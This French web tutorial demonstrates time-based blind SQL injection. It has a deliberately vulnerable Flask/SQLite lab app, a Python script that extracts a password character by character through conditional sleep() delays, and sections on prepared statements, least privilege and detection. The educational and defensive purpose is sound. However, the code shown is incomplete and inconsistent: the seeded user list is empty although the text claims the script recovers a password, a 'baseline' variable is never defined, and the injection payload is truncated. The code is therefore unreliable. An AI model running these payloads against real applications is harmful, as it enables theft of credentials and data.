Exploiter une injection SQL aveugle temporelle
Section intitulée « Exploiter une injection SQL aveugle temporelle »Une injection SQL (Structured Query Language) aveugle temporelle extrait une information sans afficher ni erreur ni résultat de requête. Le serveur devient un oracle : un délai mesuré remplace la réponse absente, bit après bit ou caractère après caractère.
C’est le genre de fuite où une porte reste fermée, mais fait plus ou moins de bruit selon ce qui se trouve derrière. Une personne malveillante ne voit pas le contenu recherché, pourtant elle peut poser assez de questions pour reconstituer une réponse et voler ce qui devait rester caché.
→ Lire l’explication complète de la marmotte
Oracle temporel et concaténation SQL
Section intitulée « Oracle temporel et concaténation SQL »Le mécanisme tient dans une faute banale : construire une requête en assemblant une chaîne reçue du client. Si l’application produit :
SELECT id FROM users WHERE email = '$email';alors email n’est plus une donnée. C’est du texte SQL injecté au milieu du programme SQL. Les guillemets saisis ferment la chaîne, les opérateurs ajoutent une condition et le commentaire neutralise le reste de la requête.
Une injection aveugle apparaît lorsque l’application masque les erreurs et ne renvoie pas les lignes trouvées. Masquer les erreurs évite de distribuer le schéma de base de données comme un prospectus, mais ne corrige aucune injection. Une différence observable suffit : code de statut, taille de réponse, fermeture de connexion, ou délai. Ici, la condition injectée appelle une fonction d’attente si un test est vrai.
La forme logique est la suivante :
CASE WHEN condition_sur_le_secret THEN sleep(delai) ELSE 0 ENDL’attaquant teste ensuite unicode(substr(secret, position, 1)) > valeur. Une réponse lente signifie vrai, une réponse rapide signifie faux. Une recherche binaire ramène l’extraction d’un caractère imprimable à environ sept requêtes, au lieu d’une centaine de tentatives. Pour un secret de 32 caractères, la fuite prend quelques centaines de requêtes. Ce n’est pas spectaculaire sur une slide de vendeur, mais c’est largement assez pour perdre un jeton d’administration pendant que les tableaux de bord regardent ailleurs.
Le compromis central est brutal : imposer un délai rend le signal détectable et l’extraction lente, mais rend aussi l’attaque viable quand aucun résultat n’est exposé. Augmenter le délai améliore la fiabilité face au bruit réseau, au prix d’une détection plus facile et d’une exfiltration plus longue. Une protection ne doit donc jamais consister à « ajouter du bruit » ou à limiter la durée de réponse. Le bruit dégrade surtout les utilisateurs, ce qui est une tradition informatique bien établie, pas une barrière de sécurité.
Cette famille rejoint les oracles décrits dans l’attaque de Bleichenbacher : une différence observable révèle un état interne. Ici, l’état n’est pas un padding cryptographique mais le résultat d’un prédicat SQL.
Laboratoire reproductible Flask et SQLite
Section intitulée « Laboratoire reproductible Flask et SQLite »Le laboratoire repose sur Python 3.11 ou ultérieur, Flask 3.x, et SQLite fourni avec Python. Il ne faut pas exposer ce service hors de la machine de test : l’exemple contient volontairement une injection et une fonction d’attente. Le mot de passe est stocké en clair uniquement pour rendre la démonstration lisible. En production, un mot de passe doit être stocké sous forme de vérificateur dérivé par Argon2id ou bcrypt, mais cela ne rend pas une injection SQL inoffensive : clés d’accès, sessions, adresses, données métier et hash peuvent rester extractibles.
Créer un environnement isolé, installer Flask, puis lancer l’application suivante :
# Python 3.11+, installation : python -m pip install "flask>=3,<4"
import sqlite3import timefrom flask import Flask, jsonify, request
app = Flask(__name__)
db = sqlite3.connect(":memory:", check_same_thread=False)db.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, email TEXT, password TEXT)")db.executemany( "INSERT INTO users(email, password) VALUES (?, ?)", [ ],)
# Fonction créée pour le laboratoire : elle matérialise le canal temporel.def sleep(seconds): time.sleep(float(seconds)) return 1
db.create_function("sleep", 1, sleep)
@app.get("/lookup")def lookup(): email = request.args.get("email", "")
# VULNÉRABLE : email est concaténé au code SQL. query = f"SELECT id FROM users WHERE email = '{email}'" rows = db.execute(query).fetchall()
# La réponse ne révèle ni les lignes ni les erreurs SQL. return jsonify(found=bool(rows))
if __name__ == "__main__": app.run(host="127.0.0.1", port=5000)Lancer ensuite python app.py. Un appel normal répond immédiatement :
# {"found":true}Le serveur SQLite n’offre pas nativement de fonction d’attente dans cette configuration. La fonction sleep est donc enregistrée par l’application, exclusivement pour reproduire le canal. Avec MySQL, PostgreSQL ou Microsoft SQL Server, des primitives temporelles existent selon le moteur. Le principe reste identique, les noms changent, comme souvent dans les catalogues de fonctionnalités dont personne n’avait besoin jusqu’au jour où elles deviennent une exfiltration.
Extraction caractère par caractère par délai
Section intitulée « Extraction caractère par caractère par délai »Le script suivant mesure une référence rapide puis répète chaque test cinq fois. La médiane absorbe une partie de la gigue réseau. Le seuil est calculé à partir de la référence et du délai artificiel : ce choix est valable dans ce laboratoire local, pas comme méthode universelle de détection.
# Installation : python -m pip install requests# Lancer après app.py : python extract.py
import statisticsimport timeimport requests
URL = "http://127.0.0.1:5000/lookup"DELAY = 0.35SAMPLES = 5
def elapsed(payload): start = time.perf_counter() requests.get(URL, params={"email": payload}, timeout=5) return time.perf_counter() - start
# Mesurer le comportement sans injection.threshold = baseline + DELAY / 2
def is_true(condition): # Le commentaire SQL doit finir par un espace après les deux tirets. payload = ( "x' OR (SELECT CASE WHEN " f"({condition}) THEN sleep({DELAY}) ELSE 0 END " ) measure = statistics.median(elapsed(payload) for _ in range(SAMPLES)) return measure > threshold
secret = ""for position in range(1, 65): # Arrêter l'extraction lorsque la position dépasse la longueur du mot de passe. if not is_true(f"length(password) >= {position}"): break
low, high = 32, 126 # caractères ASCII imprimables while low < high: middle = (low + high) // 2 condition = f"unicode(substr(password,{position},1)) > {middle}" if is_true(condition): low = middle + 1 else: high = middle
secret += chr(low) print(f"{position:02d}: {secret}")
print("Secret extrait :", secret)Le script obtient T0rtue!42 sans jamais recevoir le champ password. Une application vulnérable réelle peut ne retourner qu’un code HTTP (Hypertext Transfer Protocol) identique dans les deux cas. Cela ne change rien tant que le délai dépend de la donnée testée.
Les faux positifs viennent de la saturation du pool de connexions, du ramasse-miettes, des pointes de charge, d’un proxy ou de requêtes concurrentes. Une attaque sérieuse établit une distribution de référence, répète les mesures ambiguës et peut alterner requêtes témoins et requêtes de test. Un retard isolé n’est pas une preuve. Un motif de centaines de requêtes presque identiques, chacune avec une variation de seuil, mérite nettement moins de poésie.
Requêtes préparées et privilèges applicatifs
Section intitulée « Requêtes préparées et privilèges applicatifs »La correction qui ferme la faille est la requête préparée avec paramètres liés. Le moteur reçoit séparément le programme SQL et la valeur. Les guillemets inclus dans email restent des caractères de donnée, sans effet syntaxique. Échapper manuellement les apostrophes, filtrer quelques mots-clés ou supprimer les espaces n’est pas une correction : chaque moteur possède une grammaire, des encodages et des commentaires capables de transformer ce bricolage en exercice de contournement.
# Correct : la valeur ne peut plus modifier la structure SQL.email = request.args.get("email", "")rows = db.execute( "SELECT id FROM users WHERE email = ?", (email,),).fetchall()Pour un pilote PostgreSQL, MySQL ou autre, employer le mécanisme de paramètres du pilote concerné. Ne jamais interpoler une chaîne avec une f-string, une concaténation ou un moteur de modèle avant l’appel SQL. Les générateurs de requêtes et les Object Relational Mappers (ORM) restent sûrs seulement lorsqu’ils lient des paramètres. Un ORM ne neutralise pas une requête brute fabriquée à la main, pas plus qu’un casque de chantier ne neutralise une pelleteuse.
Le compte de base de données applicatif doit disposer du minimum strict : pas de rôle administrateur, pas de création de fonctions, pas d’accès aux schémas non nécessaires, pas de droits de lecture sur les tables d’administration. Cette séparation limite l’impact après injection, mais ne protège pas les données déjà accessibles à l’application. Elle ne remplace donc pas les paramètres liés.
Les identifiants du compte applicatif doivent être stockés dans un gestionnaire de secrets, rotatés, et retirés des journaux. Une rotation ne corrige pas une injection active : l’attaquant peut relire le nouveau secret si la requête reste injectable. Sauvegarder les bases chiffrées, tester la restauration et limiter l’accès aux sauvegardes reste indispensable, car l’extraction par SQL n’est qu’un chemin parmi d’autres vers les mêmes données. Les principes de segmentation et de réduction des accès sont développés dans l’architecture cyber.
Détection des sondes temporelles et limites
Section intitulée « Détection des sondes temporelles et limites »Le filtrage en amont par pare-feu applicatif web, ou WAF (Web Application Firewall), peut détecter des séquences comme commentaires SQL, fonctions d’attente, sous-requêtes et rafales de paramètres anormalement longs. Il faut journaliser la route, le paramètre, l’identité de session, l’adresse source, la durée applicative, la durée base de données et un identifiant de corrélation. Sans durée côté base, distinguer une requête lente d’un délai réseau revient à diagnostiquer une panne en lisant les feuilles de thé.
Des règles de débit par identité et par route réduisent la cadence d’extraction, surtout pour les endpoints de recherche et d’authentification. Elles ne corrigent rien : un attaquant patient obtient toujours des échantillons si l’oracle demeure. Les requêtes lentes doivent être alertées lorsqu’elles présentent une répétition structurelle, pas seulement lorsqu’elles franchissent un seuil absolu.
Une requête paramétrée ne garantit pas l’autorisation métier, la confidentialité des réponses légitimes, l’absence de fuite dans les logs ni l’intégrité d’une dépendance compromise. Le reste doit venir du contrôle d’accès, de la validation de format et de longueur, de la séparation des comptes, de la supervision et d’une réponse à incident capable de révoquer sessions et secrets exposés. La carte des mécanismes voisins se trouve dans la section failles.
🐝 Ce qui arrive si on s’en passe
Section intitulée « 🐝 Ce qui arrive si on s’en passe »Sans requête paramétrée, la valeur reçue du client reste du code SQL exécuté au milieu du programme. Même quand l’application masque les erreurs et n’affiche aucune ligne, une différence observable subsiste : un délai provoqué par une fonction d’attente conditionnelle transforme le serveur en oracle. Un attaquant pose alors des questions sur une donnée secrète et lit la réponse dans le temps de réponse, reconstruisant un mot de passe d’administration caractère par caractère en quelques centaines de requêtes, sans jamais recevoir le champ. Les jetons, sessions, adresses et données métier deviennent extractibles par le même canal. Masquer les erreurs, filtrer des mots-clés ou échapper les apostrophes à la main ne ferme pas l’oracle, car chaque moteur possède sa grammaire et ses encodages. C’est le même mécanisme que l’attaque de Bleichenbacher : une différence observable révèle un état interne.
🦫 Explication de la marmotte 🍫
Section intitulée « 🦫 Explication de la marmotte 🍫 »Une application web reçoit une valeur, par exemple une adresse électronique, puis cherche cette valeur dans une base de données. Le défaut apparaît lorsque le programme colle directement le texte reçu dans la commande envoyée à la base. Une personne malveillante peut alors ajouter ses propres instructions à cette commande.
Dans cette attaque, l’application ne montre pas le résultat de la recherche. Elle ne montre pas non plus les erreurs. Cela bloque certaines attaques, mais pas celle-ci. L’instruction ajoutée pose une question sur une donnée secrète, par exemple : « le premier caractère du mot de passe a-t-il un numéro supérieur à 80 ? ». Si la réponse est oui, le serveur attend volontairement un court moment avant de répondre. Si la réponse est non, il répond sans attendre.
La personne qui attaque mesure le temps de réponse. Elle pose ensuite la même question avec d’autres numéros. En divisant la plage possible en deux à chaque fois, elle trouve un caractère en quelques essais. Elle recommence pour chaque position jusqu’à atteindre la fin du secret.
Les variations normales de réseau peuvent provoquer des erreurs de mesure. L’attaque répète donc les tests et compare plusieurs résultats. La correction consiste à transmettre la commande et la valeur séparément : la base traite alors le texte fourni comme une donnée, jamais comme une instruction. Limiter les droits du compte utilisé par l’application réduit aussi les dégâts si une autre faille apparaît.
À lire aussi
- JavaScript et SQL côté web, ce qu'il faut savoir des deux langagesCe qu'il faut connaître du modèle d'exécution de JavaScript et de SQL pour lire un code web, relire une revue de sécurité ou interpréter un rapport de scan.
- Concevoir une défense en profondeur par couchesConcevoir une architecture de sécurité en couches où réseau, système, application et données se compensent sans créer de redondance aveugle.
- Comment corriger une attaque path traversalDémonstration d'une attaque path traversal sur un téléchargement vulnérable et des contrôles nécessaires pour empêcher la lecture ou l'écriture hors périmètre.
- Sécuriser les bases de données managées cloudSécuriser RDS, Cloud SQL et les bases managées contre les accès réseau exposés, les secrets applicatifs mal gérés et les instantanés partagés publiquement.
Pages voisines
La citent
- Comment lire un rapport OWASP Top 10
- Comment revoir le code de sécurité au-delà du linter
- Installer et sécuriser PostgreSQL auto-hébergé sur Debian
- JavaScript et SQL côté web, ce qu'il faut savoir des deux langages
- Non-interférence et contrôle de flux d'information en pratique
- OWASP Top 10 ASVS ZAP et sécurité applicative
- Sécuriser les extensions tierces WordPress
Exploiter une injection SQL aveugle temporelle
Elle cite
